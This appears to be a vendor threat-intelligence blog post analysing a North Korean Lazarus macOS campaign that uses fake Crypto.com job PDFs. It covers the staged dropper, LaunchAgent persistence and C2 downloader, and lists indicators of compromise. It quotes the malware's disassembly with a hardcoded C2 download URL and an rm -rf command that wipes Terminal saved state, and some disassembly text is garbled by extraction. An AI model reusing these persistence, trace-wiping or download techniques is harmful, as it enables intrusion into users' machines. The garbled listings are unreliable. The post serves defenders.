# Lazarus 'Operation In(ter)ception' Targets macOS Users Dreaming of Jobs in Crypto

(ii) sentinelone.com/blog/lazarus-operation-interception-targets-macos-users-dreaming-of-jobs-in-crypto

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Back in August, researchers at <u>ESET</u> spotted an instance of Operation In(ter)ception using lures for job vacancies at cryptocurrency exchange platform Coinbase to infect macOS users with malware. In recent days, SentinelOne has seen a further variant in the same campaign using lures for open positions at rival exchange Crypto.com. In this post, we review the details of this ongoing campaign and publish the latest indicators of compromise.



## Coinbase Campaign Turns to Crypto.com

North-Korean linked APT threat actor Lazarus has been using lures for attractive job offers in a number of campaigns since at least 2020, including targeting aerospace and defense contractors in a campaign dubbed 'Operation Dream Job'.

While those campaigns distributed Windows malware, macOS malware has been discovered using a similar tactic. Decoy PDF documents advertising positions on crypto exchange platform Coinbase were discovered by our friends at <u>ESET</u> back in August 2022, with indications that the campaign dated back at least a year. Last week, SentinelOne observed variants of the malware using new lures for vacancies at Crypto.com.

#### Open with Preview





### Art Director - Concept Art (NFT)

SINGAPORE, SINGAPORE /MARKETING - CREATIVE /FULL-TIME: HYBRID

#### About Crypto.com:

Founded in 2016, Crypto.com serves more than 50 million customers and is the world's fastest growing global cryptocurrency platform. Our vision is simple: Cryptocurrency in Every Wallet™. Built on a foundation of security, privacy, and compliance, Crypto.com is committed to accelerating the adoption of cryptocurrency through innovation and empowering the next generation of builders, creators, and entrepreneurs to develop a fairer and more equitable digital ecosystem.

Decoy document advertising positions on crypto.com

## **First Stage and Persistence**

Although it is not clear at this stage how the malware is being distributed, <u>earlier reports</u> suggested that threat actors were attracting victims via targeted messaging on LinkedIn.

The first stage <u>dropper</u> is a Mach-O binary that is a similar template to the <u>safarifontsagent</u> binary used in the Coinbase variant. The first stage creates a folder in the user's Library called "WifiPreference" and drops a persistence agent at <u>~/Library/LaunchAgents/com.wifianalyticsagent.plist</u>, targeting an executable in the WifiPreferences folder called wifianalyticsagent.



Persistence agent *com.wifianalyticsagent* 

The LaunchAgent uses the same label as in the Coinbase variant, namely **iTunes\_trush**, but changes the target executable location and the agent file name. Analysis of the binary shows that these details are simply hardcoded in the **startDaemon()** function at compile time, and as such there are likely to be further variants extant or forthcoming.

5			
1	0x1000032c4	0f <b>2946</b> 10	movaps xmmword [rsi + 0x10], xmm0
1	0x1000032c8	0f2805f10a00.	<pre>movaps xmm0, xmmword [strLibrary_WifiPreference_wifianalyticsagent] ; [0x10000</pre>
3dc0:16]=-1	; "/Library/Wifi	Preference/wifid	inalyticsagent"
1	0x1000032cf	0f <b>29</b> 06	movaps xmmword [rsi], xmm0
1	0x1000032d2	<b>4c</b> 89f7	mov rdi, r14 ; char *s1
1	0x1000032d5	e8a0080000	<pre>call sym.imp.strcat ; char *strcat(char *s1, const char *s2)</pre>
1	0x1000032da	<b>31</b> db	xor ebx, ebx
1	0x1000032dc	<b>4c</b> 89ef	mov rdi, r13 ; const char *path
1	0x1000032df	<b>31</b> f6	xor esi, esi ; int mode
1	0x1000032e1	e80a080000	<pre>call sym.imp.access ; int access(const char *path, int mode)</pre>
1	0x1000032e6	83f8 <b>ff</b>	cmp eax, 0xffffffff
	0x1000032e9	0f8583000000	jne 0x100003372
I I	0x1000032ef	488d35570a00.	<pre>lea rsi, [0x100003d4d] ; "w+" ; const char *mode</pre>
1	0x1000032f6	488dbdb0fdff.	<pre>lea rdi, [filename] ; const char *filename</pre>
1	0x1000032fd	e818080000	<pre>call sym.imp.fopen ; file*fopen(const char *filename, const char *mode)</pre>
I I	0x100003302	4885c0	test rax, rax
│ ┌─<	0×100003305	7466	je 0x10000336d
1 11	0x100003307	<b>48</b> 89c3	mov rbx, rax
1 11	0x10000330a	488d3d9f9b09.	<pre>lea rdi, symdata3 ; 0x10009ceb0 ; "<?xml version=\"1.0\" encoding=\"UTF</pre></pre>
-8\"?>\r\n </td <td>DOCTYPE plist PU</td> <td>BLIC \"-//Apple/</td> <td>//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\"&gt;\r\n<pli< td=""></pli<></td>	DOCTYPE plist PU	BLIC \"-//Apple/	//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\r\n <pli< td=""></pli<>
st version=	\"1.0\">\r\n <dict:< td=""><td>&gt;\r\n\t<key>Labo</key></td><td>el\r\n\t<string><mark>iTunes_trush</mark></string>\r\n\t<key>OnDemand</key>\r\n\t<true></true></td></dict:<>	>\r\n\t <key>Labo</key>	el\r\n\t <string><mark>iTunes_trush</mark></string> \r\n\t <key>OnDemand</key> \r\n\t <true></true>
$r\n\t<\key>$	programArguments<	/key>\r\n\t <arro< td=""><td>y&gt;\r\n\t\t<string>"</string></td></arro<>	y>\r\n\t\t <string>"</string>
I II	0×100003311	be01000000	mov esi, 1

The *startDaemon()* function hardcodes the persistence agent details The WifiPreference folder contains several other items, including the decoy document, Crypto.com\_Job\_Opportunities\_2022\_confidential.pdf.

tritium@london-12 WifiPreference % ls -l								
total 1384								
-rw@	1	tritium	staff	546597	26	Sep	10:42	Crypto.com_Job_Opportunities_2022_confidential.pdf
drwxr-xr-x	3	tritium	staff	96	23	Aug	04:04	WifiAnalyticsServ.app
-rw-rr	1	tritium	staff	1245	26	Sep	11:01	WifiCloudWidget
-rwxr-xr-x	1	tritium	staff	153760	23	Aug	04:09	wifianalyticsagent
tritium@london-12 WifiPreference %								

The PDF is a 26 page dump of all vacancies at Crypto.com. Consistent with observations in the earlier campaign, this PDF is created with MS Word 2016, PDF version 1.5. The document author is listed as "UChan".



#### The PDF decoy was created with MS Word 2016

The first stage malware opens the PDF decoy document and wipes the Terminal's current savedState.

#### open

'/Users/tritium/Library/WifiPreference/Crypto.com\_Job\_Opportunities\_2022\_confidential. &&

rm -rf '/Users/tritium/Library/Saved Application State/com.apple.Terminal.savedState'

The second stage in the Crypto.com variant is a bare-bones application bundle named "WifiAnalyticsServ.app"; this mirrors the same architecture seen in the Coinbase variant, which used a second stage called "FinderFontsUpdater.app". The application uses the bundle identifier finder.fonts.extractor and has been in existence since at least 2021.

The main purpose of the second-stage is to extract and execute the third-stage binary, wifianalyticsagent. This functions as a downloader from a C2 server. The Coinbase variant used the domain concrecapital[.]com. In the Crypto.com sample, this has changed to market.contradecapital[.]com.

0×10	00003a6a	48b964576964.	movabs rcx, 0x74656764695764 ; 'dWidget'
0×10	00003a74	48898c0500fb.	mov gword [rbp + rax - 0x500], rcx
0×10	00003a7c	0f1005c20400.	<pre>movups xmm0, xmmword [strLibrary_WifiPreference_WifiCloudWidget] ; [0x100003f45:16]=-</pre>
; "/Library/Wi	ifiPreference/	WifiCloudWidget	
0×10	00003a83	0f118405e0fa.	movups xmmword [rbp + rax - 0x520], xmm0
0×10	00003a8b	0f1005c30400.	movups xmm0, xmmword [0x100003f55] ; [0x100003f55:16]=-1
0×10	00003a92	0f118405f0fa.	movups xmmword [rbp + rax - 0x510], xmm0
0×10	00003a9a	488d357f0800.	<pre>lea rsi, symg_szServerUrl ; 0x100004320 ; "https://market.contradecapital.com" ; cons</pre>
char *src			
0×10	00003aa1	<b>48</b> 89df	mov rdi, rbx ; char *dest
0×10	00003aa4	e84d010000	<pre>call sym.imp.strcpy ; char *strcpy(char *dest, const char *src)</pre>
0×10	00003aa9	<b>48</b> 89df	mov rdi, rbx
0×10	00003aac	e84b010000	<pre>call sym.imp.strlen ; uint64_t strlen(const char *s)</pre>
0×10	00003ab1	66c78405e0fe.	mov word [rbp + rax - 0x120], 0x2f ; '/'
0×10	00003abb	498b37	mov rsi, gword [r15] ; const char *s2
0×10	00003abe	<b>48</b> 89df	mov rdi, rbx ; char *s1
0×10	00003ac1	e82a010000	<pre>call sym.imp.strcat ; char *strcat(char *s1, const char *s2)</pre>
0×10	00003ac6	<b>48</b> 89df	mov rdi, rbx
0×10	00003ac9	e82e010000	<pre>call sym.imp.strlen ; uint64_t strlen(const char *s)</pre>
0×10	00003ace	c78405e0fe <b>ff</b> .	mov dword [rbp + rax - 0x120], 0x676e702e ; '.png'
0×10	00003ad9	c68405e4fe <b>ff</b> .	mov byte [rbp + rax - 0x11c], 0
; (0	DDE XREF from	main @ 0x100003	Baff(x)
r→ 0×10	00003ae1	<b>48</b> 89df	mov rdi, rbx ; int64_t arg1
0×10	00003ae4	<b>4c</b> 89f6	mov rsi, r14 ; int64_t arg2
0×10	00003ae7	ba01000000	<pre>mov edx, 1 ; int64_t arg3</pre>
0×10	00003aec	e84ef6ffff	<pre>call sym DownloadFile(char*, char*, unsigned int) ; sym.DownloadFile_charcharunsign</pre>

Hardcoded C2 in the third-stage downloader

The payload is written to the WifiPreference folder as WifiCloudWidget . Unfortunately, due to the C2 being offline when we analysed the sample, we were unable to retrieve the WifiCloudWidget payload.

The threat actors have made no effort to encrypt or obfuscate any of the binaries, possibly indicating short-term campaigns and/or little fear of detection by their targets. The binaries are all universal Mach-Os capable of running on either Intel or M1 Apple silicon machines and signed with an <u>ad hoc signature</u>, meaning that they will pass Apple's Gatekeeper checks despite not being associated with a recognized developer identity.



The wifianalyticsagent sample passes Gatekeeper with an 'ad hoc' signature

## **Staying Protected Against Lazarus Malware**

SentinelOne customers are protected against the malware variants used in this campaign. For those not currently protected by SentinelOne, security teams and administrators are urged to review the indicators of compromise at the end of this post.



## Conclusion

The Lazarus (*aka* Nukesped) threat actor continues to target individuals involved in cryptocurrency exchanges. This has been a long-running theme going as far back as the <u>AppleJeus campaigns</u> that began in 2018. Operation In(ter)ception appears to be extending the targets from users of crypto exchange platforms to their employees in what may be a combined effort to conduct both espionage and cryptocurrency theft.

## **Indicators of Compromise**

SHA 1	Name/Description
a57684cc460d4fc202b8a33870630414b3bbfafc	1st Stage, xxx
65b7091af6279cf0e426a7b9bdc4591679420380	Crypto.com_Job_Opportunities_2022_ confidential.pdf
1f0f9020f72aa5a38a89ffd6cd000ed8a2b49edc	2nd Stage, WifiAnalyticsServ
1b32f332e7fc91252181f0626da05ae989095d71	3rd stage, wifianalyticsagent

### Communications

market.contradecapital[.]com

### Persistence

~/Library/LaunchAgents/com.wifianalyticsagent.plist

File paths

~/Library/WifiPreference/WifiAnalyticsServ.app ~/Library/WifiPreference/WifiCloudWidget ~/Library/WifiPreference/wifianalyticsagent ~/Library/WifiPreference/Crypto.com\_Job\_Opportunities\_2022\_ confidential.pdf

### Labels and Bundle Identifiers

iTunes\_trush finder.fonts.extractor